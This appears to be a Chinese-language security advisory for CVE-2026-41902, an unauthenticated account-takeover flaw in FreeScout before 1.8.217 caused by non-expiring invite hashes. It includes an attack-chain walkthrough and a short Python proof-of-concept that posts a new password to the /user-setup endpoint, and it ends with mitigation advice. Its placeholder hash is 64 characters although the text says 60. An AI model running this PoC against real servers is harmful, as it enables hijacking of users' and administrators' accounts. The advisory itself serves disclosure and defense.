IPBUF安全漏洞报告
English
CVE-2026-41902 CVSS 9.1 严重

CVE-2026-41902 FreeScout 未授权账户接管漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41902
漏洞类型
业务逻辑缺陷
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

账户接管认证绕过FreeScout业务逻辑漏洞LaravelCVSS-9.1

漏洞概述

FreeScout是一款基于Laravel框架的开源帮助台软件。在1.8.217版本之前,其用户邀请链接存在设计缺陷。用于设置密码的邀请哈希永久有效且无过期检查。一旦该哈希通过邮件转发、日志泄露或Referer头外泄等方式被攻击者获取,攻击者可无需认证重置用户密码,导致账户被永久接管。

技术细节

该漏洞源于FreeScout在处理用户设置流程时缺乏对邀请令牌时效性的控制。系统生成60字符的随机哈希用于`/user-setup/{hash}`接口的身份验证,但未在服务端实施TTL(生存时间)检查。这使得哈希值在未使用前始终保持激活状态。攻击者可利用常见的侧信道信息泄露途径,如抓取包含哈希的HTTP Referer请求头、读取暴露的服务器日志文件或拦截转发的邀请邮件来获取凭证。获取哈希后,攻击者只需向该端点发送包含新密码的POST请求即可完成密码重置。由于无需用户交互即可利用(CVSS UI:N),且攻击者无需预先拥有账户权限(PR:N),该漏洞极易被利用进行提权,特别是针对管理员账户的攻击将导致系统完全沦陷。

攻击链分析

STEP 1
信息收集
攻击者通过各种渠道(如HTTP Referer泄露、服务器日志、转发的邀请邮件)获取有效的60字符invite_hash。
STEP 2
构造请求
攻击者利用获取到的哈希值,构造指向/user-setup/{hash}的HTTP POST请求,并在请求体中包含恶意的新密码。
STEP 3
执行攻击
向目标FreeScout服务器发送请求。由于服务端未校验哈希有效期,请求被接受,目标用户密码被重置。
STEP 4
维持访问
攻击者使用新密码登录受害账户。若被攻击者为管理员,则获得系统完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://example.com" leaked_invite_hash = "1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef" # 60 chars # The vulnerable endpoint url = f"{target_host}/user-setup/{leaked_invite_hash}" # New password payload payload = { "password": "HackedPassword123!", "password_confirmation": "HackedPassword123!" } try: # Sending the request to reset password response = requests.post(url, data=payload) if response.status_code == 200: print("[+] Potentially successful! Password may have been reset.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

FreeScout < 1.8.217

防御指南

临时缓解措施
在无法立即升级的情况下,管理员应排查系统日志及邮件历史,确认是否有邀请哈希泄露。若发现泄露,需立即手动重置相关用户密码。建议通过网络策略限制外部CDN获取Referer信息,并暂时禁用用户自助注册功能直到补丁应用完毕。

参考链接